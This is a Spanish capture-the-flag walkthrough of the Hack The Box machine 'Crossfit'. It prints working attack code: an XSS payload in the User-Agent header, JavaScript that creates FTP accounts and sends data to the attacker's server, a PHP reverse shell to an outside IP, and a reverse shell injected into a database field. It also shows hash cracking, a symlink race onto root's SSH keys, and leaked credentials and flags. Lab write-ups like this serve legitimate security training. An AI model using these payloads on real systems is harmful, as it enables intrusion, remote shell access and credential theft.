Hackerñol CTF Demostraciones [Edición de prueba 2]

Crossfit

esto complementa el video:

asi que no os olvideis de leer esto mirando el video y de paso suscribiros al canal asi nos ayudas y podemos hacer mas videos en general como este y otros.

CTF:

  • Hack The Box

Nombre de la maquina:

  • Crossfit

Sistema Operativo Local

  • Blackarch GNU/Linux

Comandos:

  • chikienumerator -t 10.10.10.209
  • nmap -sV -v -p- –min-rate=10000 10.10.10.209
  • sudo echo “10.10.10.209 crossfit.htb” » /etc/hosts
  • zaproxy
  • LinPeas: yay -S aur/peass
  • curl
  • python -m http.server 8082
  • pspy
  • radare2
  • binwalk
  • hashcat

Enumeracion y pasos con el video

sudo echo "10.10.10.208 crossfit.htb" >> /etc/hosts

#Tipicos primeros pasos mientras voy pinchando en el puerto 80.

chikienumerator -t 10.10.10.208
nmap -Pn -sV -sC 10.10.10.208 -oA 10.10.10.208-manual-generic
nmap -sC -sV -vv -p 21 10.10.10.208 -oA 10.10.10.208-verbose
21 vsftpd 2.0.8
22 openssh 7.9p1
80 apache 2.4.38

bueno pues

  • ftp NO es anonimo, se nececita credenciales

  • ftp NECESITA aceptar el certificado SSL/TLS

  • Interesantes el puerto 21 con un certificado que problablemente tenga mas informacion como otro dominio o correo electronico

  • Miremos:

openssl s_client -connect crossfit.htb:21 -starttls ftp -servername crossfit.ht 

Encontramos otro vhost/dominio

gym-club.crossfit.htb

He corrido mi programa de GO para sacar mas subdominios y me han resuelto a codigo http 200 dos mas.

www
ftp

Vale pongamoslos en la lista en el hosts:

sudo sed -i 's/crossfit.htb/gym-club.crossfit.htb  www.gym-club.crossfit.htb ftp.gym-club.crossfit.htb/g' /etc/hosts

bueno exploremos:

http://gym-club.crossfit.htb/

Encuentro mas info en contactos:

Info.colorlib@gmail.com
info@gym-club.crossfit.htb 

Depues de un tiempo probando con zap me di cuenta que el msg de alerta sobre ataque XSS lee el user-agent para mandar la informacion al log, por lo que igual es vulnerable al correrlo.

Vale si lo es, puedes meter java script en el header usando el user-agent

aqui:

http://gym-club.crossfit.htb/blog-single.php

con zaproxy y mirando de ejemplo algunos enlaces como:

http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-June/011382.html https://portswigger.net/web-security/cross-site-scripting/reflected

ves al formulario, pon zap en modo de intercepcion y pon esto en el formulario:

name=rek2&email=rek2%40rek2.htb&phone=1234567&message=%3Cscript%3E&submit=submit

OJO que ponemos en el message del formulario para forzar que el mismo mecanismo de deteccion de XSS corra nuestro payload :D

submit y intercepta el POST request en zap y pon esto en el User-Agent:

User-Agent: <script src="http://10.10.14.23:6667/"></script>

ANTES de resumir y mandar el post al servidor abre un servicio de http localmente

python -m http.server 6667

vale ahora mandamos el POC y esperamos el GET desde el servidor.

❯ python -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...
10.10.10.208 - - [22/Oct/2020 05:22:28] "GET / HTTP/1.1" 200 -

COOKIE! vale ya sabemos que es vulnerable. lets create a payload

Vale busquemos una base de ejemplos para crear nuestros payloads para explorar el servidor remoto usando esta vulnerabilidad:

https://mincong.io/2018/06/19/sending-http-request-from-browser/

La idea aqui es investigar si hay ficheros interesantes o partes que no veiamos etc.

tenemos el poc en poc.js

User-Agent:

Despues de unas cuantas horas explorando, y encuentro que desde localhost(usando el XSS) puedo ver otro vhost que solo acepta resquest de la maquina local, por lo cual se piensan que esta seguro… pues no. Asi que investigando encontre un formulario para crear usuarios de FTP….

Voy a modificar el .js de arriba para crearme un usuario, pero no es tan facil que un simple post, tenemos que usar el token que es dinamico por lo cual tenemos que meter este valor en una variable para poder mandarlo en el POST request junto con los parametros de usuario y password.

myhttpserver = 'http://10.10.14.11:9999'
targeturl = 'http://ftp.crossfit.htb/accounts/create'
username = 'rek2'
password = 'rek2'

req = new XMLHttpRequest;
req.withCredentials = true;
req.onreadystatechange = function() {
    if (req.readyState == 4) {
        req2 = new XMLHttpRequest;
        req2.open('GET', myhttpserver + btoa(this.responseText), false);
        req2.send();
    }
}
req.open('GET', targeturl, false);
req.send();

regx = /token" value="(.*)"/g;
token = regx.exec(req.responseText)[1];

var params = '_token=' + token + '&username=' + username + '&pass=' + password + '&submit=submit'
req.open('POST', "http://ftp.crossfit.htb/accounts", false);
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req.send(params);

Vale esto hay que hacerlo rapidito me bajo un cliente ftp que acepta certificados y sesion segura como lftp

yay -S lftp

y ponemos:

lftp
set ftp:ssl-force true
connect crossfit.htb
set ssl:verify-certificate no
login rek2
rek2

Para no repetir puse las opciones en la configuracion

mkdir ~/.lftp

vim ~/.lftp/rc

Informacion que me ayudo: https://www.librebyte.net/en/ftp/lftp-fatal-error-certificate-verification-not-trusted/

Bueno ahora ya enumerando el servicio de FTP encuentro una carpeta llamada development-test en la cual tengo permiso para escribir, por lo tanto puedo subir mi rek2.php que es un revershe php shell pensando siempre que la aplicacion es php, y que las demas carpetas son vhosts, asi que esto seguro que es otro vhosts.

<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.23/6667 0>&1'"); ?>

hacemos:

cd development-test

put rek2.php

ahora tenemos que hacer esto rapido por que se borra!

modifica el poc.js para que correr rek2.php en el dominio ese.

req = new XMLHttpRequest;
req.open('GET', "http://development-test.crossfit.htb/rek2.php");
req.send();

y ya!

www-data@crossfit:/var/www/development-test$ ls
ls
rek2.php
www-data@crossfit:/var/www/development-test$ whoami
whoami
www-data
python3 -c 'import pty;pty.spawn("/bin/bash")'

cookies! ahora a subir linpeas

cd /var/www/development-test

wget http://10.10.14.23:9999/linpeas

chmod 755 linpeas

corriendo linpeas encontramos esto en el output:

[+] Searching specific hashes inside files - less false positives (limit 70)
/etc/ansible/playbooks/adduser_hank.yml:$6$e20D6nUeTJOIyRio$A777Jj8tk5.sfACzLuIqqfZOCsKTVCfNEQIbH79nZf09mM.Iov/pzDCE8xNZZCM9MuHKMcjqNUd8QUEzC1CZG/
/var/www/ftp/database/factories/UserFactory.php:$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

en:

/etc/ansible/playbooks/adduser_hank.yml
/var/www/ftp/database/factories/UserFactory.php

vale pongamos el hash en un fichero: $6$e20D6nUeTJOIyRio$A777Jj8tk5.sfACzLuIqqfZOCsKTVCfNEQIbH79nZf09mM.Iov/pzDCE8xNZZCM9MuHKMcjqNUd8QUEzC1CZG/

y es hora de crackear!

yay -S cuda
yay -S opencl-nvidia

Usamos hashcat, pero john tambien os puede servir claro.

hashcat -m 1800 -a 0 hashes ~/seclists/Passwords/Leaked-Databases/rockyou.txt

vale sacamos uno de los hashes con powerpuffgirls y…

su hank
powerpuffgirls

a por la banderita!

cat user.txt
72185519bb3bbf9087bfd550a5fdec37

Y como tenemos las credenciales y en la enumeracion vemos que sshd acepta passwords podemos entrar por ssh

ssh hunk@crossfit.htb

hunk powerpuffgirls

Vale ahora enumerando como hunk encontramos algo interesante en el crontab

el script de php send_updates.php corre cada minuto!!!

hank@crossfit:/home/isaac/send_updates$ ls
ls
composer.json  composer.lock  includes  send_updates.php  vendor

cat el fichero

y podemos ver la vulnerabilidad en la siguiente linea:

$command->addArg($row['email'], $escape=true);

podemos comprobar que si la libreria de mikehaertl no protege de lo que lee en la base de datos.. por lo cual podemos pasarle un comando

Mirando en el repositorio de la libreria (podeis ver la version en el fichero composer.json) hay un problema en este issue#44 https://github.com/mikehaertl/php-shellcommand/issues/44

vale pues ahora nos hace faltan credenciales de ftp para poder injectar los comandos en la base de datos para que los lea el script de php y los corra.

Ya antes haciendo enumeracion vi los credenciales en /var/www/gym-club/db.php lo puse de lado por si ma hacen falta, y pues sip. nos hacen falta ahora.

cat /var/www/gym-club/db.php

...
$dbuser = "crossfit";
$dbpass = "oeLoo~y2baeni";
...

Vale otra cosa importante, necesitamos tener siempre un mail por lo menos 1, en el maildir en la enumeracion hicimos un:

find / -group admins 2>/dev/null

ya que con el comando

id

Vimos que somos parte del group admin y por lo tanto SIEMPRE se tiene que buscar por ficheros y carpetas en los que podemso leer/escribir etc. y pues bien encontramos tambien credenciales en los ficheros de pam.d en vsftp para ser mas exactos:

creds: (user=ftpadm and password=8W)}gpRJvAmnb)

find / -group admins 2>/dev/null

leamos…

cat /etc/pam.d/vsftpd

… auth sufficient pam_mysql.so user=ftpadm passwd=8W)}gpRJvAmnb host=localhost db=ftphosting table=accounts usercolumn=username passwdcolumn=pass crypt=3 account sufficient pam_mysql.so user=ftpadm passwd=8W)}gpRJvAmnb host=localhost db=ftphosting table=accounts usercolumn=username passwdcolumn=pass crypt=3 …


Vale ahora tenemos un usuario de FTP real con lo que poder crear un msg.
por lo cual el ataque va a consistir en dos pasos enlazados.

lftp -u ftpadm ftpadmin.htb 8W)}gpRJvAmnb cd messages put rek2.php


../listen-to 6668

ahora metemos en la db:

mysql -h localhost -u crossfit -poeLoo~y2baeni use crossfit insert into users (id, email) values (1337,"-E $(bash -c ‘bash -i >& /dev/tcp/10.10.14.23/6668 0>&1’)"); select * from users;


esto tiene que ser rapido y a veces si tienes mala suerte lo subes cuando esta borrando, ya que borra cada 5-10m asi que igual te toca 
tratar mas de una vez...

❯ ../listen-to 6668 Listening on any address 6668 Connection from 10.10.10.208:56838 bash: cannot set terminal process group (11411): Inappropriate ioctl for device bash: no job control in this shell isaac@crossfit:~$ whoami whoami isaac


vale ya nos hemos movido lateralmente en el sistema:
limpiemos la shell

python3 -c ‘import pty;pty.spawn("/bin/bash")’


ahora unas horas de enumeracion y la parte que nos muestra el camino es pspy

yay -S pspy

cp /usr/bin/pspy .

python -m http.server 9999

wget http://10.10.14.23:9999/pspy

chmod 755 pspy

pspy -f


que version de pspy necesitamos:

cat /proc/cpuinfo

ok 64 bit

podeis subir el pspy local or un binario precompilado por si teneis problemas con las librerias libc ya que no creo que sean iguales:
https://github.com/DominicBreuker/pspy/releases
https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64


Venga, ahora con pspy encontramos /usr/bin/dbmsg que corre cada minuto!!!


Necesimotas inspecionar el binario localmente asi que scp a tu ordenador:

scp hank@crossfit.htb:/usr/bin/dbmsg .

analiza con radare2! binwalk etc...


Ahora pensemos que podemos hacer:
- podemos insertar codigo en la tabla de messages de la base de datos:
- esto significa que lo que pongamos hay lo escribira en un fichero
- el nombre del fichero seria

md5(str(random_number) + str(msg_id))

- El programa dbmsg este corre cada minuto y genera un numero aleatorio con una "semilla" o "base" del la hora de la maquina remota.
- con lo cual podemos crear un programa den C que corra a la mismo tiempo que dbmsg.
- esto creara el mismo numero aleatorio,
- siempre lo mejor es en C ya que tenemos que usar librerias de sistema como el  generador de numeros aleatorios de glibc GNU/Libc ya que el binario tambien lo usa.

creamos el programita:

#include <stdio.h> #include <stdlib.h> #include <time.h>

int main(void) { srand(time(0)); printf("%d", rand());

return 0;

}


lo subimos con hank y lo COPIAMOS al home de isaac

scp rek2genrand.c hank@crossfit.htb:

gcc rek2genrand.c -o rek2genrand

chmod 755 rek2genrand


vale la idea ahora es de crear un fichero que contenga ese numero aleatorio ANTES de que dbmsg lo sobre escriba.
el exploit es por que podemos crear un enlace simbolico (symlink) a /root/.ssh/authorized_keys y dbmsg escribira
lo que HAY en la base de datos(nuestro comando que sera una llave publica ssh) y por lo cual como es una symlink lo escribe tambien en 
authorized_keys. asi de facil :D


asi que creamos un par de llaves ssh para que dbmsg se encarge de ponerlo en el .ssh de root.

ssh-keygen -t ed25519 -f id_rsa


cat id_rsa.pub

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHQyRjMI3qwjlYwdmpyFSUItJMzDfN3ATPa47t1quwcp rek2@rek2system


**aqui tenemos que tener cuidado en como metemos la info en la tabla, especialmente las columnas**

manos a la obra!

mysql -h localhost -u crossfit -poeLoo~y2baeni -Dcrossfit -e’insert into messages (id, name, email, message) values (1, “ssh-ed25519”, “rek2@rek2system”,“AAAAC3NzaC1lZDI1NTE5AAAAIHQyRjMI3qwjlYwdmpyFSUItJMzDfN3ATPa47t1quwcp”);’



ahora RAPIDAMENTE corre:

while true; do ln -s /root/.ssh/authorized_keys /var/local/$(echo -n $(./rek2genrand)1 | md5sum | cut -d " " -f 1) 2>/dev/null; done


corre esto como USUARIO ISAAC no como usuario hunk!!

❯ ssh -i id_rsa root@10.10.10.208 Linux crossfit 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon Sep 21 04:46:55 2020 root@crossfit:~# whoam i -bash: whoa: command not found root@crossfit:~# export TERM=xterm root@crossfit:~# ls cleanup.sh delete_ftp_users.sh root.txt root@crossfit:~# cat root.txt e011f2469d45590644d3800b6690d9d1


- ale a volar!
- Espero que aprendais y happy hacking! y hack the system! 
- ReK2